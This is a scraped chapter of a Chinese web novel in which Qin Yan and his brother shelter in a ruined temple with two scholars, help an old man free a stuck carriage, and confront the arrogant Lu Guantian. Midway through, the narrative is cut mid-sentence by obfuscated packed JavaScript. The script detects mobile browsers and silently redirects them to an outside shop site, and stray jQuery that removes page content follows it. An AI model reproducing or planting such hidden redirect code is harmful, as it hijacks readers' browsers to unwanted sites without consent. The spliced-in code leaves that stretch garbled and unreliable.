牛车慢悠悠行驶,秦晏吃一口葱油饼便看一眼秦晏。

    秦晏无奈看向他道:“二哥,你这是拿我当菜就着吃葱油饼呢?”

    “咳咳!”秦勇被惊了一下,当即被呛得咳嗽起来。

    秦晏立马他倒了一碗水:“二哥,来,喝水。”

    秦勇接过水大口喝完,这才觉得好一些。

    他伸手擦了擦嘴角,有些不好意思,不过这给了他开口询问的勇气。

    “阿晏,你知道谢珏娶的是秦晚吧?”

    秦晏咬了一口葱油饼,点了点头,一副没事人一般,根本没有秦勇想象中的崩溃、伤心、愤怒。

    他时不时看秦晏一眼,而后试探着询问:“阿晏,你没事吧?”

    秦晏瞥了他一眼,不由有些好笑:“我能有什么事?”

    秦勇道:“秦晚嫁给了谢珏那小子,你不生气么?毕竟你们从小订下婚约,青梅竹马,结果最后却没能成亲。”

    他可是清楚,以前秦晏很喜欢秦晚,只要有空就会去找秦晚,每次去县城回来,必定给她带些姑娘家喜欢的东西。

    秦晏摇了摇头:“不生气,我现在已经想通了,强扭的瓜不甜,既然秦晚不喜欢我,不想嫁给我,就算是强行和她成亲,婚后也只是一对怨偶罢了,还不如一开始就一别两宽各自安好。”

    秦勇认真看着他,他能够看出来秦晏是真的这样想的。

    等回去后,一定告诉娘,想来娘一定会很高兴的。

    休息过后,两人继续赶路。

    没多长时间,秦晏便发现天边暗了下来。

    “二哥,要下雨了,不如找个地方先躲躲雨吧!”

    秦勇看了一眼天色,当即更改了牛车行驶的方向,朝着距离这里不远的一座破庙走去。

    刚刚把牛车赶进破庙,豆大的雨点便噼里啪啦掉落下来,只片刻的功夫,干燥的地面便被浑浊的雨水覆盖。

    秦勇在牛车附近干燥的地面上点燃篝火,驱散周围的湿气。

    秦晏从牛车上翻出一件兔毛披风披上,他现在的身体很虚,他必须时刻防备生病。

    他拿出之前没看完的书,来到篝火旁坐下,一边烤火,一边看书。

    还没看两页,便听到破庙外响起走路声。

    他扭头看过去,便看到两个背着书箱的青年,他们撑着伞走进破庙。

    两个书生显然是没想到破庙早就有人,他们收起伞,朝着秦晏拱手行礼。

    “在下陆观天,是陆家庄人士,路遇暴雨,这才来庙中避雨,多有打扰,敬请见谅。”说话的是那身穿靛蓝色短打青年,脸上皮肤略微有些发黑,言谈举止间莫名带着些傲气。

    “在下王璟,从青云村前往清安县明道书院求学,打扰到兄台,抱歉。”旁边的青年抱拳拱手,脸上表情认真诚恳。

    两人口中的陆家庄和青云村,秦晏都有所了解,是秦家村周边的村子。

    他一眼扫过两人,便大概知晓了两个青年的脾性。

    他合上书站起来朝着二人拱了拱手:“无事,在下秦晏,也是来此避雨,不用如此多礼,二位不如过来和在下一起坐。”

    陆观天和王璟不由看了一眼秦晏身前剧烈燃烧的篝火,以及他身上披着的兔毛披风,眼中闪过诧异。

    陆观天后退几步,没好气地说:“你有病吧?谁大夏天的烤火?”

    “陆兄!”王璟连忙开口制止,而后一脸抱歉地看着秦晏,“抱歉,秦兄,陆兄并没有恶意。”

    秦晏笑了笑,伸手阻拦住猛地站起来的秦勇,并没有生气,他看着陆观天认真道:“我的确是有病,不然不会大夏天烤火,我也不想的。”

    说到最后,他不由面露无奈之色,这还是他这些天每天锻炼、喝药的结果。

    陆观天当即脸色涨红起来,嗫嚅了几下,想要说什么最后却什么都没说。

    王璟也不知道该说些什么,只尴尬地笑了笑,低头整理自己手中的油纸伞。

    秦晏见此,本也没有交谈的欲望,索性继续翻看手中的书籍。

    一时间,整个破庙陷入静谧之中。

    终于,不知道过了多长时间,破庙外的大雨慢慢变小,逐渐停止,不一会儿,耀眼的阳光冲破云层,斜斜照射下来。

    秦勇走到破庙外,抬头看了一眼天色,便知晓接下来不会再下雨。

    他返回破庙中道:“阿晏,我们上路吧!”

    秦晏站起来把手中的书放进书箱中:“好。”

    陆观天和王璟对视一眼,也站了起来,重新背上自己的书箱,也打算继续上路。

    王璟犹豫了一下开口道:“秦兄,既然我们都是一起去明道书院的,不如一起走,也好路上有个照应。”

    秦晏并没有拒绝。

    陆观天和王璟算是同窗,这次一起去清安县,便一起合租了一辆马车,下雨时,车夫并没有进入破庙,害怕马匹和马车出现什么意外。

    秦晏看了一眼马车,想着等之后找到赚钱的营生后,也要买一辆马车,起码能遮挡一下太阳。

    随后出来的陆观天看到他看着马车,不由挺了挺胸,心中异常骄傲,这土包子也就能坐个牛车,他可不一样,可是能坐马车!

    他瞥了秦晏一眼,雄赳赳地钻进马车中,丝毫没有和秦晏打招呼的意思。

    王璟不好意思地和秦晏拱了拱手,跟着也上了马车。

    秦勇把牛车从破庙中赶出来,看了一眼先一步离开的马车,冷哼了一声。

    而后,看向秦晏温声道:“阿晏,上车。”

    他说着,伸手搀扶着秦晏,把他安顿好后,这才驱赶着牛车跟在马车后面。

    “阿晏,那个姓陆的不是什么好人,如果在书院他敢欺负你,你告诉二哥,二哥给你出气。”

    秦晏不置可否,不过,对于自家二哥的关心,他十分受用地答应下来。

    行至半路,前面的马车突然停了下来。

    秦晏歪头看向马车前面,便隐约看到前面路上停着一辆马车,他从牛车上下来,朝着前面走去,秦勇跟在他后面,生怕他脚下一滑摔倒。

    陆观天掀开门帘,一脸不耐烦地看着前面的马车,却也没有下车帮忙的意思。

    他看到秦晏从马车旁走过,便开

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753356|209453||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    口道:“秦兄,你该不会是想要去帮着推车吧?我奉劝你还是老实待着,毕竟你身体这么弱,万一不小心伤着哪儿可就不美了。”

    秦晏看了他一眼道:“多谢陆兄关心,在下会小心些的。”

    说完,便继续往前走。

    陆观天当即脸色有些不好看,嗤笑一声。

    他可是看得真真的,前面那辆马车异常破旧,一看就知道不是什么身份贵重的人乘坐的,就算是去帮忙,也得不到什么好处。

    见王璟也有下马车帮忙的打算,直接伸手拉住他。

    “你去凑什么热闹?届时弄脏衣服了,去明道书院岂不是太过失礼?”

    王璟一听,犹豫了一下,最终也没有下马车。

    秦晏走近了才发现,这辆马车前面的马匹很老,马车轮子深深陷在一个泥坑里,只依靠老马,恐怕根本没办法把马车拉上来。

    前面赶车的是一个十二三岁的男童,他满头大汗,正用力往前拽缰绳。

    马车的侧面,一个头发花白的瘦弱老者正用力推着陷入泥坑的车轮,花白的头发粘在脸颊上,着实是可怜。

    秦晏见此,连忙上前:“老丈,我来帮您。”

    说完,伸手扶住马车用力往前推。

    老者回头看了他一眼,不由目露感激之色:“多谢小友!”

    秦勇快走几步,从男童手中接过缰绳。

    他一手扯住缰绳,一手拉住马车,一个用力,陷入泥坑的马车便被拉了出来。

    男童见马车出来了,快步走到老者身旁,高兴不已:“老爷,马车出来了!”

    老者同样高兴,他捋了捋胡须看向秦晏:“这次多谢两位小兄弟帮忙了。”

    秦晏轻咳几声后才道:“无事,总不能看着。”

    而后,他看向秦勇道:“二哥,你去寻几块石头来,把那泥坑填上。”

    秦勇点头,很快便把泥坑填平。

    老者不由面露赞许之色,正想要说什么,后面马车中的陆观天早就不耐烦了,在看到马车被拉出来后,两帮人竟然还不走,看模样还像要长谈的模样,当即就不高兴了。

    “喂!好狗不挡道!”他阴沉着脸色道。

    哼!原本看这病秧子也是农家子出身的学子,想要和他结交一番,结果却自降身份和泥腿子混在一起,不可为伍!

    秦晏面色冷了下来:“陆兄读圣贤书,便是只学会了如何辱骂他人么?若是让其他人知晓明道书院的学生如此德行,怕是要辱没了书院门风!”

    陆观天当即面色一白,明道书院的名额是他好不容易才获得的,如果真的传到书院夫子耳中,恐怕他就要被赶出书院了。

    他伸手指向秦晏,脸色难看道:“秦晏,你休得胡言!”

    秦晏好整以暇地整理了一下袖口,慢悠悠地说:“是不是胡言,并不是你说了算的,你说,届时是信你还是信我?”

    陆观天当即身上出了一身冷汗,他不敢赌。

    他眼神顿时闪烁起来,色厉内荏地盯着秦晏道:“你,你到底想要怎么样?”

    秦晏抬眸冷声道:“道歉。”